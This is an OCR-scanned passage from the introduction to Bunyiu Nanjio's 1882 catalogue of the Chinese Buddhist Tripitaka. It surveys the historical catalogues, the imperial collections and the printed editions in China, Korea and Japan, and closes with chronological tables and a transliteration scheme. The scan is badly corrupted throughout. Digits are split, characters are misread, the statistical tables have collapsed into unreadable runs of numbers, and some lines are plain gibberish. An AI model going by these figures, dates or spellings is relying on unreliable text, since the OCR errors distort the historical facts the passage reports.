56743 7Records20;) 46419 62))619 81)))Neither the Catalogue nor the compiler is mentioned in Chinese Buddhist works. The numberof books is again different from that mentioned in four earlier Catalogues still in existence. This mayho wever be called the fifth Collection made . by an Emperor of China.In A. D. 664 2 a Chinese priest, named' Tao-sen, compiled. the fifth Catalogue which has come downto us, No. 1483 (see p. xxvii). This . compilation 'is subdivided into ten sections. In the . first section hegives a list of works, whether translations or original treatises in Chinese, with a biographical note of eachauthor, and sums up the total number of works as 2,487, in 8476 fasciculi. In the second section hedivides the works then in existence, in the following way :-1: Mahayana. Sutra . 3 86 in x152 fasciculi,8521 leaves.Vinaya, . .Abhidharma2272))3 4,500))))46 19 22o))2. Hinayana. Sutra . 204 544 )) 7674Vinaya> _3 5 274 )) 5$13Abhidharma3 3 )) 67 6 ))22277))3 . Works af. the (Indian) sages47184))176o79 9 y> 3 3 6445626In the remaining sections of No. 1483 , Tao-sen makes, several divisions and classifications, which are,very complicated.The sixth Catalogue in existence, N. 1487 (see, p. xxvii), was compiled about A. D. 664 by Tsin-mai.,It contains all the titles of translations, whether in existence or missing, . from Kasyapa Mtanga, A. D. 67,to Hhen-kwa or Hiouen-thsang, A: D. 645-664. The number of translators is 12o, and that of their worksis 162o in 5552 fasciculi, with the exception of 29 8 works in 527 fasciculi, whose translators- are unknown:1 MaxMuller, Selected Essays, vol. ii, pp. 329-330.2 'In this year the famous Hhen-kw or Hiouen-thsang died.C 2INTRODUCTION.in A. D. 69 5 the seventh Catalogue which we still possess, No. 1610 (see p. ' xxvii), was compiled byMill-khtien and others, under the order of the Emperor Wu Ts-thien, A. D. 684-705. This is the sixthCollection made by a Sovereign of China. The divisions and classifications in this Catalogue are asfollow :1 Mahayana.Stra of single translation 283 in 525 fasciculi.Stra of duplicate translations 69 6 2514Vinaya.44105Abhidharma. . 108 61I2. Hinayana.Stra of single translation ;3 2 3 9 9 419 9 9Stra of duplicate translations 6569 91227,9Vinaya 10499 42 ;,Abhidharma54 9 , 7 03_
.7 443 4,,9,734
859 3 8823 86 Then. there follows . a list of 228 spurious works, which are said to have been 'in 419 fasciculi.In A: n. 73 o the eighth, ninth,, and tenth Catalogues in existence, . Nos. 1485, 1486, 1488 (see p. xxvii'),were compiled by K'-shall. No. 1485 is One of the best, if}, not the best, ^ f Catalogues, of the ChineseTranslation of the Buddhist Tripitaka. It is generally called Khi-yuen-lu 1. It was originally in 20 fasciculi,now subdivided into 3 o fasciculi. In the first 9 original fasciculi (subdivided into 13 ), 2278 works in 7046fasciculi, with the -exception of 741 in 1052 fasciculi of unknown translators, are 'ascribed to 176 translatorsor writers, who lived in China in the period of 664 years between a. 67 and 73 o. The titles of theseworks are given in chronological Order, and ' a shdrt account of each translator or writer (is added), beingpreceded by a list of his works and various miscellaneous item of_ information,_such as 'the number of books(or fasciculi) into which each work is divided ; variations . in the title, anil when and where the translationwas made, etc. " Then the compiler concludes With the following words (fasc. 9 , \ fol. 3 6, b seq. ) :=` Thustinder 19 dynasties, from 'the Eastern Han. (A. -D. 25-220) to the Thsi (618-9 07), there were produced translations of the ,Stra, Vinaya, and Abhidharma or . Sstra of the Mahayana and Hinayana, 'as well as theworks of the . saes and wise men, altogether 2278 works in 7046 fasciculi. Of 'these 1124 works in 5048fasciculi are now (A. n. 73 0) admitted into the Canon. In truth, however, the exact number is 1123 worksin 5047 fasciculi, because one -and the saine work in one fasciculus is given both in the Pragpramitdand Ratnakta classes (viz. Ns. 21 and 23 (46)). Again, 40 works in 3 68 fasciculi are 'not translations,but written originally in Chinese: At the same time the number of missing- works . is 1148 in 19 80 fasciculi.Thu the total , number is -really 2271 works in 7027 fasciculi, subtracting 7' Works ,in 19 fasiculi (which.1 For the cont' ts of this Catalogue, see also the Chrysanthemum Magazine, June 1 88t, p. 23 4 seq. Published 'monthly at-Yokohama, in Japan. 2Chrysanthemum, 188 t, p. 23 5.INTRODUCTION. xxiare no- longer independent works, being put in other works as their parts) from the number 2278 in7p46 fasciculi above mentioned. ' In fasc. Ica of the Khai-yuen-lu, No. 1485, a list of forty-one' Catalogues with a few details regardingthem is given. In the next. 8 original fasciculi (subdivided into 12), th following divisions andclassifications are introduced :- Translations (and some original Chinese works) in existence (A. D. 73 0).a, Tripitaka of the Bodhisattvas or the Mahayana . 686 in 2745' fasciculi.b. Tripitaka, of the Sravakas or the Hinayana3 3 0 1762c. Works of the sages and wise men. 108 541If1124 ), 50482. Translations missing 1148 in 19 80 faseiculi. 3 . Portions published separately. . 682 in 81 2 fasciculi.4. Double copies and extracts taken away. . . . . 147 40If5. Formerly not found or missing, and newly-produced works now supplied 3 06 a a a a f f6. Doubtful works re-examined. . 14 1 9 *3 827. Spurious and heterodox books . ip 1055
1. 53 1 3 405
9f Some of these 153 1 works are included in the translations then in existence (see above), while therest are altogether 'excluded from the total number already alluded to.In fase. 19 and 20 of No. 1485, the works in existence ,in A. D. 73 0, are arranged in the followingdivisions :I. Mahayana.Stra. 515 .(or 563) in 21 73 fasciculi, 203 cases.Vinaya .26. 5 9 79 9 9 92. Hinayana. 5,5104 . ,,,,505Stra. 240 6189948Vinaya . 54,,, 446 ), . 45Abhidharma 3 6 69 872 lf3 . Works of the sages and wise men. -Indian . 68in 17 3 Chinese . . 40,, 3 68I 57,,,ff.1076 (1 124) 5048480
The ninth Catalogue in existence, No. 1486 (see p. xxvii), is an abridged reproduction of the lastpart of No. x485, in ,5 fasciculi. 'But as it is little more than a bare enumeration of the titles of thedifferent works mentioned in the larger catalogue, the translators' names, and the number of chapters (orfasciculi) into which each work is divided, it is not of much uSit to the foreign *student of Buddhism. Itgives the Index character (taken from the Tshien-taz'-wan, or Thousand-character-composition) under whicheach work may be found in the Imperial Collection, and occasionally a few details This may be calledthe seventh Collection, made by order of the Emperor Hhtien-teoll, A. D. 713 -755, under whose reign thisIndex was made.The tenth Catalogue in existence, No. 1488. . (see p. xxvii), is a continuation of No. 1487 (see pp. xix,It enumerates 163 translations in 645 fasciculi, made by twenty-one translators, who lived in China betweenA. D. 664 !mg 73 0:1 Chrysanthemum, 1 88t, p. 236note..xxiiINTRODUCTION.According to the Fo-tsu-li-tai-thud-tsi, No. 163 7 (fasc. 1 4, fol. 2 . a), Thai-tsu, the first Emperor of thelater 'Sun dynasty, who reigned A. D. 9 6o-9 75, was the first who ordered the whole Buddhist Canon tobe published. The blocks of wood on which the characters were cut for this , edition are said . to have been13 0,000 in number, This event happened in A. D. ' 9 72. In the . preceding year, he caused two copies ofthe same Canon to be made, one written in gold and the other in silver paint. This may be called theeighth Collection mad by order of the Emperor of, China, though no Catalogue or index seems to have beencompiled on this occasion.The eleventh Catalogue in existence, No. 1612 (see p. xxvii), was compiled by Kin-1 i-sian, together withsome Indian, Tibetan, and Chinese priests and officials, in A. D. 1285-1287, under the Imperial order of.Shi-tsu, the founder of the Yuen dynasty, who reigned A. D:- 1280-129 4. It is therefore the ninth Collectionmade by the Chinese Emperor. This Catalogue is generally called K'-yuen-lu, or the Catalogue of theK'-yuen period, A. D. 1264=-129 41,There are given the following divisions and classifications :.1. Sutra.2, Vinaya,3 . Abhidharma.MahayanaHinayana. .MahayanaHinayanaMahayanaHinayana89 7 in 29 80 fasciculi.2 9 1 9 9 71028 9 9 5669 . 504I176283 87081440 ,, 55869 92,,,9 9f99 9- These are the translations made by 19 4 persons under twenty-two dynasties in the period of 1219 years,from A. D. 67 to 1285. Besides this number there are 9 5 Indian and 118 Chinese miscellaneous works. 'The compilers of the K'-yuen-lu, No. 1612, compared the Chinese translations with the Tibetan trans-'lations (Kangur and Tangur I), and added the Sanskrit title in transliteration, and gave a note after eachChinese title, stating whether both translations were in agreement, or Whether the book was wanting . inthe Tibetan- version 2. This comparison, however, seems to have . been made only through ' a Catalogue 'ofthe Tibetan translations, and not actually with the translations' themselves. (See the K'-yuen-lu, fasc. 1,fol. 4 a, col. 5 seq. ) Nevertheless, it is curious to see that there have been (in A. D. 13 00) and still are somany Chinese translations, which are similar to, though they do not agree exactly with, the Tibetan trans-lations. I have added the result of their comparison under each title.The twelfth Catalogue in existence, No. 16 I I (see p. xxvii), was originally compiled by-Wan Ku, under theSun dynasty, A. D. 9 60-1280;. and continued by Kwn-ku-pa, in A. D. 13 60, under the Yuen dynasty, A. D. 1280-1 3 68. . It depends entirely on No. 1612, and adds a short account of the contents of each work.The thirteenth Catalogue in existence, No. 1662 (see p, xxvii), is the base of the present ' ompilation. Thiswas originally the Catalogue of the Southern Collection or Edition of the Chinese Buddhist Canon, publishedin Nanking (' Southern Capital'), under the reign of Thai-tsu, the first Emperor of the Min dynasty, whoreigned A. D. 1568-13 9 8. But it is now used also as the Catalogue of a reproduction of the Northern Collectionor Edition of 1621 works (Nos. 1-162i), first published in Peking ('. Northern Capital_'), by the order'of Khan-' For the contents of this Catalogue, see the Journal Asiatique,Novembre-Decembre, 1849 , p. 3 7 seq. -z Cf. the following account, which- is said to be derived from aTibetan source, as we read in the Journal of the Asiatic Societyof Bengal, 1882, p. 9 1 :-' Last of all, during the reign of the Tartar Emperor, Sa-chhen,the Chinese scriptures were compared with the Tibetan collectionsof the Kanpur and Tangur. Such treatises and volumes as werewanting in the Chinese were translated from the Tibetan. scrip-tures. All these formed one complete collection, the first part ofwhich consisted - of Buddha's teaching (Kangur). To the secondpart 21 volumes of translations from Tibetan, the Chinese Sstras,and works of eminent Hwashan (Upddhyaya_or teacher 3 ), com-prising 153 volumes, were added'. Th e whole collection consistedof 740 volumes. An analytic catalogue of all these books wasalso furnished. In this collection many Sstras were found whichdid not exist in the Tibetan collections. 'This statement seems to agree to a certain extent with theaccount concerning the K'-yuen-lu, No. 1612, if the 'TartarEmperor, Sa-chhen,' is meant for the Mongolian Emperor, Shi-tsu.Otherwise the . ' Tartar Emperor, Sa-chhen,' could only be. identi-fied either with Shi-tsu, of 'the Lio dynasty, who reigned A. n. '.9 47-9 50, or with Shi-tsu, of the Kin dynasty, who reigned A. D.1161-1189 . The Lido and Kin dynasties were both Tartars, whilethe Yuen was a Mongolian dynasty.INTRODUCTION.xxiiitsu or ThAi-tsun, the third Emperor of the Min dynasty, who reigned A. D. 403 -1424, together with 4iadditional works (Nos. I622I662), published by a Chinese priest named Mi-tsbi after some twenty or thirtyyears' labour, beginning from A. D. I586. Afterwards, in A. D. 1678-1681, this edition was re-published in Japanby a Japanese priest named D6-k or Tetsu-gen, whose labours will be described below.Thus there are altogether thirteen Catalogues of the Chinese Translation of the Buddhist Canon in theCollection of the India Office Library;The Southern and Northern Collections or Editions made under the Min dynasty may be called the tenthand eleventh Collections made by the Emperors of China, if the Southern Edition is the same as that Which issaid to have been published by TIA,i-tsu, in Nanking. For in a composition by the Chinese Bhikahu Tao-khki, dated A. D. 1586, we read The Emperor Thii-tsu (4. D. 13 68-13 9 8) caused the whole Pitaka tobe engraved in Kin-hail (Nanking) ; and the Emperor Thiti-tsun Wan (A. D. 1403 -1424) again caused a goodedition to be. published in Pe-pin. (Peking)2. 'But there is another statement about these two Collections or Editions, namely : 'In the Yun-l A. D.*1 403 -1424, of the Min dynasty, an edition was published (by the Emperor) in the 'Capital (Peking), which iscalled the Northern Pitaka or Collection of the Sanskrit Books (translated into Chinese). Again there wasa private edition among the people, and the blocks for this publication were kept at Kiil-hhin-fu in Chehkiang.This is called the Southern Pitaka, or Collection S. 'This statement is found in an Imperial preface to the Buddhist Canon, which preface dates from thethirteenth year of the Yun-ka4 period, A. D. 173 5. The author 'is the Emperor Shi-tsu, the third sovereign ofthe present Tshin dynasty, who reigned A. D. 1723 -173 5. If this Imperial authority may be accepted in spite6f a later date, then Thai-tsu's edition would have been quite different from the Southern Collection or Editionalready alluded to.The Imperial preface above quoted was added by the, Emperor Shi-tsun to a carefully-revised Edition ofthe Buddhist Canon, first' collected and published under the Min dynasty, frith the addition of 54 Chineseworks. The Edition was, completed in the second year of the Kien-lun period, A. D. 173 7, under the reign of hissuccessor, KAo-tsun, who reigned A. D. 17 3 6-179 5. This may be called the twelfth and last Collection made byan Emperor of' China 4.It is remarkable that the whole Collection of fife Buddhist Canon, which became 'larger and larger in thecourse of time, was preserved in MS. only, from. the introduction of Buddhism into China in A. D. 67,,till A. D.9 72. At that time the first Edition was published, by Thi-tsu, the founder of the later SUn. dynasty (see p. xxii).Thereafter it has been printed at various times in China from wooden blocks, which were as often destroyed byfire or civil war. It is said that during the Sufi and Yuen dynasties (A. D. 9 60-13 68) as -many as twentydifferent, editions had been produced, but during the troubles occurring towards the end of the Yuen period allof them perished. 'This statement is quoted from Mr. Beal's introduction (p. vii) to his Buddhist Literature in China (1882);'For an account of his labours, see the 1 1 ,1lildi-kin-yuen-sti, or 'a list (or collection) of prefacesrespecting the engraving of the blocks for Buddhist scriptures. 'Theyare by different authors in praise of the books and those at whoseexpense the great collection was published. One volume. 'Sum-mers, Catalogue of Chinese Books in the Library of the India,Office,187 2 , p. 3 7, No. 70. In this 'interesting book' there are addedsome rules observed by Mi-tsa4 in comparing, for the sake ofhis own edition, four previous Chinese. editions published underthe Sufi (A. . 9 60-1280), Yuen (128o-13 68), and the Southernand Northern Collections under the Mifi dynasty (i3 68-1644).Vi7-41,Z11--yi -MtfAeffItzis.Kkii-kin-yuen-sti, fol. 18 a. 21 1 M*it ON . . X. 41-K- 110 04-* tAzmA. See , thefati. ANi*Gyb-sei-dai-z6-zy6-hatsu-shiu, or Collection of the Imperial . Prefaces and Addenda to theGreat Pitaka or the Buddhist Canon, Tokio, 1882, fol. 26 b,cols. 4, 5. .See the , A,I n &Ao,kun-khinn-tstai-wk-lci, 'or Catalogue of the Buddhist Canon re-Published under the great Tahiti dynasty. I possess a copy of thisCatalogue 'published in Nanking, 187o. It was given to me by mylearned Chinese friend,' Mr. Yang Wen-hoei, who, together witha priest named Miitd-khun (who died 188o), has been publishingthe same collection, again, about thirteen years' -since, collectingdonations from his countrymen. . According to his last letter,dated Shanghai, ;July 10, 1882, more than 3 000 fasciculi hatealready been published. His edition is very carefully done, isCan judge from copies of certain works which he lave me inLondon and Paris, where I met hira last year. '1r* Ing -. ^^I-11 ^^^. 4'^^k g**0. 14. 4.
,PlDai-nippon-dai-z8-. kits-yen-gi. Published as a supplement to theMei-146-shin-shi t Japanese newspaper, Aug It 26, 1880.INTIi3 ODUCTIt. ;N.
axVThere was then a Bhikshun called F-kan 1 in China, who first published a similar Collection in theordinary form of Chinese books, after finding the, inconvenience of the former Editions. The blocks of herpublication were however gradually. effaced. At length there was an _active priest Mi-tsri (see p. xxiii), whofollowed F-kan's example and circulated his Edition. most widely. Copies of his Edition were successivelyimported into Japan, where it is called Mire-z8 (Mini-tsar), or the Pitaka or Collection made and publishedunder the Miii . dynasty. It is said that the 'editor Mi-tsri collated the Northern Collection with the Southern.one for his new edition, and added five werks (Nos. 1658-x662) of the latter Collection to the former:Besides these, he could only meet with a few books of the earlier Editions of the Sun and Yuen dynasties. It isa pity that this widely circulated Edition is in reality a reproduction only of the Northern Collection orEdition of the Min dynasty with a few additions, no attempt being made to correct the blunders or fill in omissionsof the earlier Edition. These errors of the Northern Collection of the Min dynasty are severely remarked onby the Imperial pen in the preface to the reproduction under the present dynasty in China (see p. xxiii).Now Buddhism was introduced into Japan from Corea, in. A. D. 552, and to the latter Country it had beenbrought from China about a century before 2. At that time t he King of Kudara (one- of three kingdoms in Cores),Sei-mei by name, sent some Buddhist sacred books to the Japanese court. The titles of these books are not.known. In A. D. 6o6 the Prince Imperial Umayado lectured, in the presence of the reigning Empress Sui-ko,his aunt, on two Stras, viz. the Sr"iml-dev-simhanda, No. 59 , translated by , Gunabhadra in A. D. 43 5, andthe Saddharmapundarika, No. i3 4, translated by Kumilragva in ^. D. 406 . In A. D. 7 3 5, when a priest calledGen-b6 returned from China, he presented to the Imperial Government the Buddhist sacred books in more than5000 fasciculi 4. When the Chinese priest Kan-shin arrived in Japan, A. D. ,753 , the ex-Emperor Shit-muis said to have ordered him to correct the wrongly written characters in the copies . of the Buddhist Canon.All the Scriptures were then copied by 'some appointed copyists in China ,and Japan. Even the Emperors,Empresses; and Ministers of State were sometimes engaged in copying the sacred books 6. Some fragments ofsuch copies are still carefully preserved in old temples din Japan.In A. D. 9 87, when a famous priest called Chi-nen returned from China to Japan, he first brought with hima copy of the Edition of the Buddhist Canon in more than 5000 fasciculi, produced under the Sun dynasty,A. D. 9 6o-1280 6. Afterwards copies of Chinese and Corean Editions were gradually brought over to Japan,and deposited in the large temples or monasteries. These copies have not been allowed to be read or examinedby the public since olden times ; and Buddhist scholars have had to submit to this inconvenience.In the Kwan-yei period, A. D. 1624 -1643 , a priest of the Ten-dai sect, Ten-kai by name (who died in his13 2nd year, A. D. 1643 ), first- caused the Great Collection of the Buddhist Canon to be printed in movablewooden types. Copies of this edition are still fOund in, the Libraries of some old temples.A. few years later there was a priest of the W-baku sect, D6-k6 (or Ts-k), better known by anothername Tetsu-gen (' Iron eye'). In A. D. 1669 he first published a letter (col. . 3 67 (6)) express' his- wish toreceive donations for his intended reproduction of Mi-tsri's edition of the Great Canon (see p. x^' ii). It is statedin the history of Japan, that ' from his youth Tetsu-gen wished to reproduce the Chinese Buddhist Canon inJapan ; and hence he diligently collected a large number of donations- to enabrz him to, carry out his plan.About this time, 'a famine prevailed:4ni the country, and he at once gave his money to the poor, instead ofkeeping it for the expense of the edition. But he' did not change his mind, and again collected other donations;then he was again obliged to give the money to the poor, owing to the same calamity as before: However haccomplished his desire at last. For th e. third time he got fresh donations, in the first year of the Tennii(lit. Ten-wa) period, A. D. x681, and then published his long-delayed edition'. ''Copies of this publication issued by Tetsu-gen, have been preserved in many Buddhist temples or monas-teries throughout the whole country o Japan. There is a . speial building within the gate of a temple,for keeping this large Collection. This building is generally called in Japan Rin-z6 8, or ' revolving repository,'because it, contains a large eight-angled book-case, made to revolve round a vertical axis 9 .s See Rev. Gib-kai's preface to the `Collection of the ImperialPrefaces and Addenda to the Great Pitaka,' fol. s a.6 Ibid. fol. n b.7 Koku-shi-ryaku, fasc. 5, fol. 24b. Cff, col. 3 66 (r, 2).Lun-ts.Koku-shi-9 For the plan of this building, see Tab. IV, in Siebold's great ,work on Japan, vol. v, Pantheon von Nippon;2 See thehon-matsu, fasc. 13 , fol. r a, 8 a.3 Ibid. fol. 7 a, b.4Ibid. fasc. 16, fol. 3 a. See also theryaku, fasc. n, fol. 3 7 b.Koku-shi-ki-zi-x.xviINTRODUCTION.This plan is said, to have been invented, in A. D. 544, by a celebrated Chinese layman, named Fu Hhi(Fu Kiu, in Japan) 1 , who was born in A. D. 49 7 and died in 569 . He is commonly known as Fu TA-sh'(Fu Dai-zi, in Japan) 2, or the Mah^ attva or noble-minded Fu. He is said to have thought, that if any piousperson could touch such a' book-case containing the whole of the Tripitaka and make it revolve once, he wouldhave the same merit as if he had read the whole Collection. The statue of this Chinese inventor is generallyplaced in the front of the Revolving Repository ; and on each . side of his statue, there are added those of his twosons, Phu-kien (Fu-ken)' and Phu-khan. (Fu-zi, in Japan) 4. The statue of the elder is known by his pointing thefinger, and that of the younger by the open palms of his hands. Their father's statue represents theimpartial . view which he held during his life-time, for 'he is represented as wearing the Taoist cap, theConfucianist shoes and Buddhist Kashya or scarf across the shoulder 6. There is a story,. that when Fu inthis dress saw Wu-ti, the founder of the Lizi dynasty, who reigned A. D. 5o2-549 , the Emperor asked himwhether he was ,a Buddhist priest, Fu then pointed to his Taoist cap. When, asked again whether he was aTaoist, he pointed to his Confucianist shoes, Being asked lastly, whether he was a Confucianist, he pointedto his Buddhist scarfs.It is curious that, about two centuries after the time of Tetsu-gen, a copy of his Edition (producedA. D. 1681) was sent over to England from Japan (1875), by the Japanese ambassador, now one of the' threehighest ministers of the Mikado, for the use of scholars in Europe. This Edition is no doubt an excellentwork on the part of the editor,, having been accomplished by a single Buddhist priest ; , but at the sametime it is simply 'a reproduction of the . Chinese publication issued by Mi-tsri, which is not quite free fromb'unders, as before stated.There were formerly two Japanese priests, Nin-kio' of the Zi-do sect, and Zun-ye 8 of the Shin-shu,who. collated Tetsu-gen's Edition with that of Corea. Acomplete copy of the Corean Edition, : being similar tothat of the Z6-zi-zi Library, was preserved in the Library of the monastery Ken-nin-zi, in Kioto. Nin-kio,together with more than, ten assistants, spent five years in collating, A. D. 1706I 710. Zun-ye accomplished hiscollation in eleven years, in A. D. 1826-183 6. . In D. 183 7 there was a calamitous conflagration in Kioto, bywhih,the copy of the Corean Edition in the Ken-nin-zi Library was burnt, leaving only forty-nine cases out ofsix hundred and thirty-nine cases of the whole Collection. This copy is said to have been brought to Japan, in A. D. 1458.The new Edition of the, Japanese Society, K6-ki6-sfho-in, now being published in Tokio (see p. xxiv), isa reproduction of the Corean Edition with various readings of and some additions from three different ChineseEditions, produced under the Sur. , Yuen, and Mid. dynasties, A. D. 9 60-1644. The arrangement of the works inthis . Edition is more scientific, being the same a the cue adopted by the Chinese priest IC'-s, in his ` Guide forthe Examination of the Canon e . ' This Edition is in modern movable types, and in small sized books, royal.octavo. The preparation for the press is ,made by competent scholars. About sixty volumes, containing nearlyfour hundred distinct works, were published in June 1 . 882. . According to the Advertisement of , the Society(see p. xxiv) all the remaining works are to be issued within twenty-five months from the . appearance of thefirst wrapper or open case, containing twenty-eight works, which appeared in November 18'81. Acopyof this new Japanese Edition may be. seen ih, the Bodleian Library, Oxfdrd, where the first wrapper wasreceived in January of this year. The present Catalogue will ' be, I hope, used fore this new Edition also. All1Fer his life, see the a
g ;4e, Fo-tsu-thun-ki, No. 1661, and" theFo-tsu-li-t,i-thun-tsi, No. 163 7, fasc. io, fol. ai a seq.For the account of his plan of the Revolving Repository, see theif pi its r Shaku- mon-shio-t8, ),Shaky-shi-kei-ko-ryaku, I ^Koku-ko-shi, andqagg Mei-kio-shin ,shi, August 4,1880.For these three statues, see Tab. III, in Siebold's great workon Japan, vol. v, Pantheon von Nippon.6 See 'the Fc-tsu-thu-ki, fasc. 3 7, fol. 8 b.d a 111 z.r^es peYueh-ts-k'-tain (Yetsu-z8-k'. -shin,in Japan), by p R'-s (Ri-kybku). 48 fasc. CompiledA. n. 163 5-16E4. Published in China, A. D. 1664and 1709 ; andin Jnpan, A. D, 1782.^^.
INTRODUCTION. xxvii.that is required for this purpose is a comparative table of the arrangements of the works in bott Editions,deposited in the India Office and Bodleian Libraries, and a few additional notes.I have thus described all that I have hitherto either seen or . heard about the Collections or Editions of theChinese Translation of the Buddhist Tripitaka as well as some Indian miscellaneous works, together with someChinese ones.I shall now add three chronological tables, which will illustrate the foregoing statement.CHRONOLOGICALTABLEOF THE. THIRTEEN CATALOGUES STILLIN EXISTENCE.DATE. No. TITLE.(I) A. D. 5201 476 Khu-sn-ts-ki-tsi,,lit. Collection of the records of the Translation of the Tripitaka.17 fasc.1609 Sui-ku-kin-mu-lu, lit. Catalogue of Buddhist sacred boons (collected) under theSui dynasty, A. D. 589 -618. - 7 fasc.1504 Li-tai-sn-po-ki, lit. Record concerning the three precious things (Triratna) undersuccessive dynasties. 15 fasc.1 6o8 Sui-ku-ki-mu-lu, lit. Catalogue of Buddhist sacred books (collected) under theSui dynasty, A. D. 589 -618. 5 fasc.1483 Ta-than-n@i-tien-lu, lit. Catalogue of Buddhist books (collected) under the great. Th dynasty, A. D. 618-9 07. 16 fasc.1487 Ku-kin-i-kin-thu-ki, lit. Record of the picture - (of the events) of ancient andmodern translations of Buddhist sacred books. 4 fasc.1610 Wu-keu-khan-fin-ku-kiri-mu-lu, lit. Revised Catalogue of Buddhist sacred books(collected) under the Keu dynasty of the Wu family, A. D. 69 0-705. 15 fasc.1485 Khi-yuen-ship-kio-lu, lit. Catalogue , of (the boots on) the teaching of Skyamuni,(compiled) in the Khi-yuen period, A. D. 7 1 3 -741. 3 o fasc.1486 Khi-yuen-shih-kio-lu-lh-khu, or an abridged reproduction of the precedingCatalogue. 5. fasc.(ro) . )11488 Suh-ku-kin-i-kin-thu-ki, or a continuation of No. 1487. a fasc.(ii) 1285I287 161 2 K'-yuen-fa-po-kien-thu-tsu -lu, lit. ' Comparative Catalogue of the Dharmaratna- or Buddhist sacred books (collected) in the K'-yuen period, A. D. 1264-129 4.I 0 fasc.(12) - 13 06r 611 ' Ta-tsar-shah-kio-f5-po-piao-mu, lit. Catalogue of the Dharmaratna, being theholy teaching of the Great Repository, or Buddhist sacred books. x o fasc.(13) )11662 Ta-min-sn-tsa-sham-kio-mu-lu, lit. Catalogue of the sacred teaching of theTripitaka (collected) under the great Min dynasty, A. D. 13 68-1644. 4 fasc.CHRONOLOGICALTABLEOF THEDIFFERENTCOLLECTIONS OF THECHINESE' TRANSLATION OF THI BUDDHISTTRIPITAXA, MADEBY ORDER OF THEEMPERORS OF CHINA.(I) A. D. 518By Wu-ti; the founder of the Liri dynasty, who reigned A. D. 502-549 .( 2 53 3 -53 4 By the Emperor H. hiao-wu, of the Northern Wi dynasty;' who reigned A. D. . 53 2-53 4.(3 )59 4 } By Wan-ti, the founder of the Sui dynasty, who eigned' A. D. 589 or 581-604.(4) )1602 }(5) 605-616 By Y-ti, the second Emperor of the Sui dynasty, who reigned A. D. 6o5-616.(6) 69 5By the Empress Wu Ts-thien, of the Than dynasty, who reigned A. D. 6F4. --705.(7) 73 0By the Emperor Hhen-tsu, of the Than dynasty, who reigned A. D. 713 -755.(8) ,,9 71By Thai-tsu, the founder of the later Sun dynasty, who reigned' A. D. 9 60-9 75.(9 ) 1285I287 By Shi-tsu, the founder of the Yuen dynasty, who reigned A. D. 1280-129 4. (io) 13 68-13 9 8. By Thai-tsu, the founder of the Min dynasty, who reigned A. D. 13 68-13 9 8.(r I) 1403 -1424 By Thai-tsun, the third Emperor of the Min dynasty, who reigned A. D. 1403 -142' . .(I 2) x73 5-173 7 By the Emperors Shi-tuni and Ko-t^ u, of . the Tshi dynasty, who reigned A. z 1723 '173 5 and 0,3 6-17 9 5 respectively.( 2 ) 59 4(3 ) 59 7(4)
6o2(5) 664(6) 664(7)(8),,69 573 0(9 ) 73 0d' 2xxviiiINTRODUCTION.CHRONOLOGICALTABLEOF THEVARIOUS PRINTED EDITIONS OF THECHINESETRANSi. ATION OF THEBUDDHISTTRIPITAKA, IN CHINA, COREA, AND . JAPAN '.(I) A. D. 9 72By Thili-tsu, the founder of the later Sun dynasty, who reigned A. D. 9 6o-9 75.(2) 'olioBy the Corean King, whose personal name is K' (7k). (Acopy still exists in japan. )(3 ) 123 9 By unknown editor, under the Southern Sufi dynasty, A. D. II27-I280. (Ditto. )(4) ,, 1277-129 0 By unknown editor, under the Yuen dynasty, A. D. 1280 (or I 26o)-I3 68. (Ditto. )(5) 1 3 68-13 9 8 By Tlii-tsu, the founder of the Min dynasty, who reigned A. D. 13 68-13 9 8.(6) 1403 -1424 By Thai-tsu, the third Emperor of"the Min dynasty, who, reigned. A. D. 1403 -=1424.(7)i5oo ?)By Fa-kan, &Chinese Bhikshun.(8) 1586-1686 or 1616 By Mi-tsli, a Chinese priest. (Copied from No. 6. )(9 ) 1624-1643 By Ten-kai, a Japanese priest.(I o) 1 . 678-168-1 By DO-k6 or Tetsu-gen, a Japanese priest. (Copied from No. . 8,)(I I) 1 73 5- 173 7 By the Chinese Emperors Shi-tsuli and Ko-tsu, of the present Tshin dynasty, whoreigned A. D. 17 2 3 - 1 73 5 and 173 6- 179 5 respectively. (Copied from No. 8. ) _(12) 1869 - . --- By Yang Wen-hoei, a -Chinese scholar, together with n io-khuli, a Chinese priest (whodied 188o). . . (Copied from No. II, and now. in course of publication in Nanking. )(13 ) 1881- -- By the K-ki6-sho-in, or the Buddhist Bible Society, in Tokio, Japan. (Copied fromNo. z, collated with Nos. 3 , 4, and 8; and now in course of publication. )In conclusion, 'I hive to thank most sincerely my teacher, Professor Max Mller, for, his kind instructionand help, through which alone I have been able to carry out this work. I did not know any Sanskrit at all beforeFebruary . 1879 , when I became his pupil, bringing with me a letter of introduction from his friend, the lateDean Stanley.I have also to thank Dr. Rost, the Librarian of the India Office, and the Other gentlemen in that Library,fox their kindness in allowing me to. study the great Collection now deposited there.Nor should I forget to express my sincere gratitude to the Delegates of the Clarendon Press in undertakingthe printing and publication of this Catalogue, in conjunction with the India Office ; and I have much pleasurein acknowledging the excellent manner in which the printing has been executed. The Chinese types, cast at theClarendon Press from matrices lately acquired in China, at the recommendation of Professor Legge, have beenof great service for this undertaking.I have received* valuable assistance . from my two Japanese friends, Mr. Y: Ymazoumi and Mr. KenjiuKasawara, on several Matters in this compilation ; -for which I return my best thanks.Lastly, I most humbly ask all students of Buddhist literature to assist me in correcting any mistakes I mayhave made in compiling this Catalogue.BUNYIUNANJIO.LLANTRISSANTHOUSE,KINGSTON ROAD, OXFORD,16th November, 1882.1 There are said to have been as many as twenty different editions under the Sun-and Yuen 'dynasties, A. D. 9 60-13 68. But minute accounts concerning these editions are not found, except with reference to Nos. I, 3 , and 4in this table.INTRODUCTION. xxixTRANSLITERATION OF SANSKRIT AND CHINESE WORDS ADOPTED FOR THECATALOGUE OF THE CHINESE BUDDHIST TRIPI. TAKA.NoTEFor Sanskrit words, Professor Max Miiller's Scheme for the Transliteration of Oriental Alphabets, as followed in the` Sacred Books of the East,' has been adopted. For Chinese, Mr. Wells Williams' System of Orthography for the Pronunciationof Peking, as given in his Syllabic Dictionary of the (b niese Language (Shanghai, 1874), has been followed, though representedaccording to the same scheme of transliteration, There are several sounds which are found in Chinese only, in - which case theoriginal system. of Wells Williams is for the most part retained.VOWELS. SANSKRIT. CHINESE. WELLS WILLIAMS' SYSTEM AND EXPLANATION1.a^. 1a as in quota.ATITf,a as' in fattier.iiiasinpin.iti as in machine.u1uu as in put.A3 ia1 as oo in fool, or o in move.riNri as in fiery 2.7 iN,. rI2.liW . . ,li as in frindly 2.IL7Z112.e . ,
ee as in men.
V3
